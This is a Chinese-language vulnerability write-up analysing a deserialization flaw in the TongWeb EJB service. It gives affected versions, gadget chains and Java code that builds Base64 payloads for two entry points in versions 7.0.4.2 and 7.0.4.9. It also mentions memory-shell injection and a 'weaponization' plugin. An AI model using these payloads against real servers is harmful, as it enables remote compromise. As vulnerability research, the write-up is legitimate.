TongWeb EJB 反序列化漏洞

声明

本文版权归原作者所有,未经允许禁止转载。

2025 年 11 月 13 日爆出的漏洞,手上有环境和源码,并且朋友第一时间透露了利用链的信息,于是便尝试复现并分析,记录下来。

漏洞原理

TongWeb ejb 服务没有校验请求的数据,直接对来源的数据进行反序列化,而默认情况下,http 服务(8088 端口) /ejbserver/ejb 接口会转发至 ejb 服务(5100 端口)的相同接口,攻击者可发送特定的数据包,造成反序列化漏洞,其中可利用的反序列化链主要有:

# 7.0.4.2 可用, 7.0.4.9黑名单
BadAttributeValueExpExceptionToString->XbeanToString->TongWebEL->NashornJS

# 7.0.4.2、7.0.4.9可用
Hashtable->javax.swing.UIDefaults.TextAndMnemonicHashMap.get()->XbeanToString->TongWebEL->NashornJS

影响版本

7.0.0.0<=TongWeb<=7.0.4.9_M9
6.1.7.0<=TongWeb<=6.1.8.13

前提条件

  1. TongWeb http-8088 服务可访问
  2. 未做安全加固,/ejbserver/ejb 接口可访问

漏洞复现

7.0.4.2

判断反序列化点是否存在:

睡眠成功,确认反序列化点存在:

利用第一条链注入内存马,配合 MemshellParty:

7.0.4.9

判断反序列化点是否存在:

睡眠成功,确认反序列化点存在:

利用第二条链注入内存马,配合 MemshellParty:

漏洞分析

7.0.4.2

定位接口类

对应的入口类应该在:com.tongweb.tongejb.server.httpd.ServerServlet

寻找入口点

进入 com.tongweb.tongejb.server.ejbd.EJBServer.service() 方法:

进入 com.tongweb.tongejb.server.ejbd.EjbDaemon.service() 方法:

先分析一下两种协议头解析的逻辑:

客户端协议类:

服务端协议类:

入口点一

其中 readExternal、writeExternal 为自定义实现的反序列化方法和序列化方法,用于业务需求的灵活序列化传输,存在一个入口点:

构造序列化数据

经过分析,存在一个反序列化入口点,并且根据代码中解析协议的顺序,构造合适的客户端协议头:

代码实现:

public static String serialize(Object object) throws Exception {  
    ByteArrayOutputStream bout = new ByteArrayOutputStream();  
    ObjectOutputStream obout = new ObjectOutputStream(bout);  
    obout.writeByte(1);  
    obout.writeObject(object); // 写入恶意对象
    obout.flush();  
    String clientInfoString = "OEJP/1.1"; // 版本号随意, 符合OEJP/x.x  
    byte[] clientInfoBytes = clientInfoString.getBytes();  
    ByteArrayOutputStream bout2 = new ByteArrayOutputStream();  
    bout2.write(clientInfoBytes);  // 写入客户端版本协议
    bout2.write(bout.toByteArray());  // 写入版本号byte+Object
    return Base64.getEncoder().encodeToString(bout2.toByteArray());  
}

可参考 javachainssleep 探测反序列化点:

最终代码如下:

public class Demo {  
    public static void main(String[] args) throws Exception {  
        System.out.println(serialize(getObject()));  
    }  
  
    public static String serialize(Object object) throws Exception {  
        ByteArrayOutputStream bout = new ByteArrayOutputStream();  
        ObjectOutputStream obout = new ObjectOutputStream(bout);  
        obout.writeByte(1);  
        obout.writeObject(object); // 写入恶意对象  
        String clientInfoString = "OEJP/1.1"; // 版本号随意, 符合OEJP/x.x  
        byte[] clientInfoBytes = clientInfoString.getBytes();  
        ByteArrayOutputStream bout2 = new ByteArrayOutputStream();  
        bout2.write(clientInfoBytes);  
        bout2.write(bout.toByteArray());  
        return Base64.getEncoder().encodeToString(bout2.toByteArray());  
    }  
  	
  	// 参考javachains
    public static Object getObject() throws Exception {  
        Class findClazz = Object.class;  
        Set<Object> root = new HashSet();  
        Set<Object> s1 = root;  
        Set<Object> s2 = new HashSet();  
  
        for(int i = 0; i < 28; ++i) {  
            Set<Object> t1 = new HashSet();  
            Set<Object> t2 = new HashSet();  
            t1.add(findClazz);  
            s1.add(t1);  
            s1.add(t2);  
            s2.add(t1);  
            s2.add(t2);  
            s1 = t1;  
            s2 = t2;  
        }  
        return root;  
    }  
}

入口点二

在代码中下方还有一个反序列化入口点,如图所示:

进入 com.tongweb.tongejb.server.ejbd.EjbDaemon.processEjbRequest() 方法:

进入 com.tongweb.tongejb.server.ejbd.EjbRequestHandler.processRequest() 方法:

进入 com.tongweb.tongejb.client.EJBRequest.readExternal() 方法,到了最终的第二个反序列化入口 this.deploymentId = (String)in.readObject();

在来到这里之前,需要满足一定的条件:

因此在 payload 构造时,需要再加一个额外的字节,并且其值不为对应的枚举值:

排除两个值即可:

接着往下看,又读取了一个字节作为 requestType,根据上图的枚举值,其值必须为 0 (byte):

根据上文的简单分析,最终来到 com.tongweb.tongejb.client.EJBRequest.readExternal(),再次读取一个字节作为 RequestMethodCode,并且仅需满足为合法的 RequestMethodCode

任选其一即可:

那么最终的 payload 为下图所示,满足条件即可触发反序列化:

构造序列化数据

最终代码如下:

public class Demo {  
    public static void main(String[] args) throws Exception {  
        System.out.println(serialize(getObject()));  
    }  
  
    public static String serialize(Object object) throws Exception {  
        ByteArrayOutputStream bout = new ByteArrayOutputStream();  
        ObjectOutputStream obout = new ObjectOutputStream(bout);  
        URI[] uris = new URI[1];  
        obout.writeByte(1); // 版本号  
        obout.writeObject(uris); // URI[] 对象  
        obout.writeByte(0); // requestType, 不能为-1或者3  
        obout.writeByte(0); // requestType, 必须为0  
        obout.writeByte(1); // 根据枚举值RequestMethodCode任选其一即可  
        obout.writeObject(object); // 恶意序列化对象  
        obout.flush();  
        String clientInfoString = "OEJP/1.1"; // 版本号随意, 符合OEJP/x.x  
        byte[] clientInfoBytes = clientInfoString.getBytes();  
        ByteArrayOutputStream bout3 = new ByteArrayOutputStream();  
        bout3.write(clientInfoBytes);  
        bout3.write(bout.toByteArray());  
        return Base64.getEncoder().encodeToString(bout3.toByteArray());  
    }  
  
    public static Object getObject() throws Exception {  
        Class findClazz = Object.class;  
        Set<Object> root = new HashSet();  
        Set<Object> s1 = root;  
        Set<Object> s2 = new HashSet();  
  
        for(int i = 0; i < 28; ++i) {  
            Set<Object> t1 = new HashSet();  
            Set<Object> t2 = new HashSet();  
            t1.add(findClazz);  
            s1.add(t1);  
            s1.add(t2);  
            s2.add(t1);  
            s2.add(t2);  
            s1 = t1;  
            s2 = t2;  
        }  
        return root;  
    }  
}

7.0.4.9

7.0.4.2 相比,不同的是 payload 的构造以及入口点部分差异,有以下几个不同点:

首先第一点,客户端协议解析方法被置空,因此不再需要开头的 8 字节:

第二点,在 com.tongweb.tongejb.client.ServerMetaData.readExternal() 方法中,入口点在 (URI[])KryoUtil.readFromByteArrayBySize(datasize, in, classLoader, false); 中:

本质上是一个序列化的工具类,也实现了类的序列化与反序列化,等同于 readObject()

只不过需要按照该类的格式调用对应的方法进行序列化 KryoUtil.writeToByteArray()

第三点,在 com.tongweb.tongejb.client.EJBRequest.readExternal() 方法中,入口点也有细微差别,需要添加额外的字节:

那么整体就有两个序列化入口点,有了前一个版本的分析经验,那么对于 7.0.4.9 就根据其逻辑的读取顺序写入相应的类型数据即可。

入口点一

代码如下:

public class Demo {  
    public static void main(String[] args) throws Exception {  
        System.out.println(serialize(getObject()));  
    }  
  
    public static String serialize(Object object) throws Exception {  
        ByteArrayOutputStream bout = new ByteArrayOutputStream();  
        ObjectOutputStream obout = new ObjectOutputStream(bout);  
        obout.writeInt(2); // size  
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();  
        byte[] writedata = KryoUtil.writeToByteArray(object, classLoader, false);  
        obout.writeInt(writedata.length);  
        obout.write(writedata);  
        obout.flush();  
        ByteArrayOutputStream bout3 = new ByteArrayOutputStream();  
        bout3.write(bout.toByteArray());  
        return Base64.getEncoder().encodeToString(bout3.toByteArray());  
    }  
  
    public static Object getObject() throws Exception {  
        Class findClazz = Object.class;  
        Set<Object> root = new HashSet();  
        Set<Object> s1 = root;  
        Set<Object> s2 = new HashSet();  
  
        for(int i = 0; i < 28; ++i) {  
            Set<Object> t1 = new HashSet();  
            Set<Object> t2 = new HashSet();  
            t1.add(findClazz);  
            s1.add(t1);  
            s1.add(t2);  
            s2.add(t1);  
            s2.add(t2);  
            s1 = t1;  
            s2 = t2;  
        }  
        return root;  
    }  
}

入口点二

public class Demo {  
    public static void main(String[] args) throws Exception {  
        System.out.println(serialize(getObject()));  
    }  
  
    public static String serialize(Object object) throws Exception {  
        ByteArrayOutputStream bout = new ByteArrayOutputStream();  
        ObjectOutputStream obout = new ObjectOutputStream(bout);  
        obout.writeInt(1); // size 跳过第一个ServerMetaData.readExternal的if防止异常,小于2即可  
        obout.writeByte(1); // requestType, 不为-1和3  
        obout.writeByte(0); // requestType,必须为0  
        obout.writeByte(1); // requestMethodCode, 根据枚举值填即可  
        obout.writeUTF(""); // UTF8字符串任意值  
        obout.writeShort(1); // short类型任意值  
        obout.writeObject(object); // 恶意序列化对象  
        obout.flush();  
        ByteArrayOutputStream bout3 = new ByteArrayOutputStream();  
        bout3.write(bout.toByteArray());  
        return Base64.getEncoder().encodeToString(bout3.toByteArray());  
    }  
  
    public static Object getObject() throws Exception {  
        Class findClazz = Object.class;  
        Set<Object> root = new HashSet();  
        Set<Object> s1 = root;  
        Set<Object> s2 = new HashSet();  
  
        for(int i = 0; i < 28; ++i) {  
            Set<Object> t1 = new HashSet();  
            Set<Object> t2 = new HashSet();  
            t1.add(findClazz);  
            s1.add(t1);  
            s1.add(t2);  
            s2.add(t1);  
            s2.add(t2);  
            s1 = t1;  
            s2 = t2;  
        }  
        return root;  
    }  
}

利用链

# 7.0.4.2 可用, 7.0.4.9黑名单
BadAttributeValueExpExceptionToString->XbeanToString->TongWebEL->NashornJS

# 7.0.4.2、7.0.4.9可用 (8<=jdk<=14)
Hashtable->javax.swing.UIDefaults.TextAndMnemonicHashMap.get()->XbeanToString->TongWebEL->NashornJS

参考 javachains 中的代码即可,不同点是 Xbean 依赖经过 TongWeb 二次开发,需要更换部分包名,其他基本一致。

武器化

利用大佬们开发的 javachains 编写对应的插件,将分析过程中代码集成至插件即可:

总结

整体的过程其实并不难,只不过需要一些的 Java 基础以及熟悉 Java 反序列化链的生成和利用,多实战多积累经验,持续学习。

参考链接

https://mp.weixin.qq.com/s/9zxYCHVrnE3rlvNo9vnqkg

https://mp.weixin.qq.com/s/SThL617Eo5EVLrf5hu7dmw

https://github.com/vulhub/java-chains

https://github.com/ReaJason/MemShellParty